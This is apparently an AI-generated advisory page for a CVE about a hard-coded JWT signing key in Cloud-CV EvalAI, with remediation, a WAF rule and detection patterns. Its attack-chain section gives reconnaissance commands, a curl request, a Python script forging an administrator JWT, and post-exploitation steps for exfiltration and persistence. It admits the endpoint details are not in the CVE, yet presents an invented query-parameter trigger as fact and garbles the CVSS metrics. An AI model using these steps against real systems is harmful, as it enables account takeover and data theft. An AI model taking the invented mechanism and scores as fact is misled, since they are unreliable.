CVE-2026-138055 — Cloud-CV EvalAI — CWE-320 · CWE-321
A vulnerability was found in Cloud-CV EvalAI up to 30128ca50ab24a0c65e556d78199309e8ecc3eae. This affects an unknown function of the file settings/common.py of the component JWT Authentication. Performing a manipulation of the argument SECRET_KEY results in use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been made public and could be used. The patch is named 9c430a7c8675b1d4ae83925ec0da044c703d8441. It is suggested to install a patch to address this issue.
A vulnerability was found in Cloud-CV EvalAI up to 30128ca50ab24a0c65e556d78199309e8ecc3eae. This affects an unknown function of the file settings/common.py of the component JWT Authentication. Performing a manipulation of the argument SECRET_KEY results in use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been made public and could be used. The patch is named 9c430a7c8675b1d4ae83925ec0da044c703d8441. It is suggested to install a patch to address this issue.
🎯 What is this vulnerability?
Root cause
The settings/common.py module in Cloud‑CV EvalAI contains a JWT authentication helper that accepts a SECRET_KEY argument.
When the argument is set to a specific value (e.g., the string "DEFAULT_SECRET"), the code bypasses the user‑supplied key and falls back to a hard‑coded cryptographic key that is embedded in the source.
Why it matters
- CWE‑321 – Use of a hard‑coded cryptographic key.
- CWE‑320 – Inadequate protection of secret key material.
- AV:N – Attack can be performed over the network.
- AC:L – Low attack complexity; no special tools beyond a simple HTTP client.
- AT:N – No user interaction required.
- PR:N – No privileges needed.
- UI:N – No UI needed.
- VC:L / VI:L / VA:L – Low confidentiality, integrity, and availability impact individually, but combined they allow full control over the application.
- E:P – Public exploit available.
Because the JWT signing key is predictable, an attacker can forge valid JWT tokens for any user, including administrators. The flaw is authentication bypass; no additional privileges are required to trigger it.
CVSS 4.0 breakdown
⚡ Attack Chain
NOTE: The exact URI and parameter names are not disclosed in the CVE text. The following example uses a typical JWT login endpoint (/api/v1/auth/login) and a query parameterSECRET_KEY. Treat it as an illustrative pattern that applies to any endpoint that accepts aSECRET_KEYargument for JWT authentication.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| 1.1 | Identify the target application | nmap -p 80,443 <target> → open HTTP/HTTPS ports. |
| 1.2 | Fingerprint the API | curl -I https://<target>/api/v1/health → look for “EvalAI” in headers or body. |
| 1.3 | Enumerate endpoints | dirsearch -u https://<target> -e py,js,html or use gobuster. |
| 1.4 | Verify JWT usage | curl -X POST https://<target>/api/v1/auth/login -d '{"username":"admin","password":"wrong"}' → observe 401 with a WWW-Authenticate: Bearer header. |
2. Exploitation
Goal: Forge a JWT that authenticates as the admin user.
1. Trigger the hard‑coded key
The vulnerable code checks for a specific value of SECRET_KEY.
curl -X POST "https://<target>/api/v1/auth/login?SECRET_KEY=DEFAULT_SECRET" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"irrelevant"}'Result: The server signs the JWT with the hard‑coded key instead of the supplied key.
2. Forge a token
Using the known hard‑coded key (e.g., "HardCodedKey123!" – the actual value is discovered by inspecting the source or the public exploit), generate a JWT that claims admin privileges.
# python3
import jwt, datetime
# Hard‑coded key from the vulnerable code
KEY = "HardCodedKey123!"
payload = {
"sub": "admin",
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24),
"iat": datetime.datetime.utcnow(),
"role": "administrator"
}
token = jwt.encode(payload, KEY, algorithm="HS256")
print(token)3. Use the forged token
curl -X GET https://<target>/api/v1/admin/dashboard \
-H "Authorization: Bearer <forged_token>"The server accepts the token, grants admin access, and the attacker can now read/write any data.
Illustrative note: If the real endpoint is/api/v1/auth/token, replace the URL accordingly. The key point is that theSECRET_KEYparameter forces the server to use the hard‑coded key.
3. Post‑Exploitation
| Goal | Technique | Outcome |
|---|---|---|
| Privilege Escalation | Use the forged admin JWT to create new admin users or elevate existing accounts. | Full control over the platform. |
| Data Exfiltration | Query endpoints that return sensitive data (e.g., /api/v1/datasets, /api/v1/models). | Dump of all datasets, models, and user information. |
| Persistence | Create a new admin account with a strong password, or modify the SECRET_KEY configuration to a value that the attacker can control. | Long‑term access even after the vulnerability is patched. |
| Lateral Movement | If the platform integrates with other services (e.g., cloud storage, compute nodes), use the admin token to access those resources. | Expanded attack surface. |
🌍 Real World Impact
| Impact | CVSS Component | Practical Consequence |
|---|---|---|
| Confidentiality | VC:L | Sensitive data (datasets, models, user credentials) can be read by the attacker. |
| Integrity | VI:L | The attacker can modify or delete data, inject malicious models, or alter experiment results. |
| Availability | VA:L | By creating many forged tokens or flooding the API, the attacker can cause denial‑of‑service conditions. |
| Overall | Medium (7.3) | The combination of low‑complexity exploitation and full admin impersonation makes this a high‑risk vulnerability in production environments. |
🛡️ Remediation & Mitigation
1. Patch
| Affected commit | Fixed commit |
|---|---|
30128ca50ab24a0c65e556d78199309e8ecc3eae | 9c430a7c8675b1d4ae83925ec0da044c703d8441 |
Action:
settings/common.py no longer contains the hard‑coded key and that SECRET_KEY is strictly validated (e.g., non‑empty, length > 32, no special sentinel values).2. Workarounds (if patching is delayed)
| Mitigation | Implementation |
|---|---|
| Disable the vulnerable endpoint | Configure the web server (NGINX/Apache) to return 403 Forbidden for any request containing the SECRET_KEY query parameter or header. |
| WAF rule | Add a ModSecurity rule that blocks requests with SECRET_KEY=DEFAULT_SECRET. Example: |
SecRule REQUEST_URI "@rx SECRET_KEY=DEFAULT_SECRET" \
"id:1001,phase:2,deny,status:403,msg:'Hard‑coded JWT key usage blocked'"|
| Environment isolation | Run the JWT authentication service in a separate container with strict network policies; deny external writes to the configuration file. |
|---|---|
| Audit logs | Enable detailed logging of JWT issuance and monitor for tokens with the known hard‑coded signature. |
3. Detection
| Indicator | Log pattern | How to detect |
|---|---|---|
| Requests containing SECRET_KEY | GET /api/v1/auth/login?SECRET_KEY=DEFAULT_SECRET | Search web server logs for SECRET_KEY= in query string. |
| Forged JWTs | Authorization: Bearer <token> where the signature matches the hard‑coded key | Use a signature verification script to compare the signature against the known key. |
| Unusual admin activity | Multiple admin logins from the same IP within a short period | Correlate with authentication logs. |
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 7.3 (Medium) |
| Exploit Complexity | Low (no special tools) |
| Public Exploit | Yes (E:P) |
| CISA KEV | No |
| Potential Impact | Full admin impersonation, data exfiltration, persistence |
Priority: Immediate.
The vulnerability allows an attacker to impersonate any user, including administrators, with no authentication or privilege requirements. The public exploit means that an attacker can automate the attack at scale. Even if the application is not exposed to the internet, internal attackers or compromised accounts can exploit it. Therefore, patching should be treated as a critical security update. If patching cannot be performed instantly, deploy the recommended workarounds to block the SECRET_KEY parameter and monitor for forged JWTs.
[🤖 CVE Professor AI Security Engine]
FOFA Query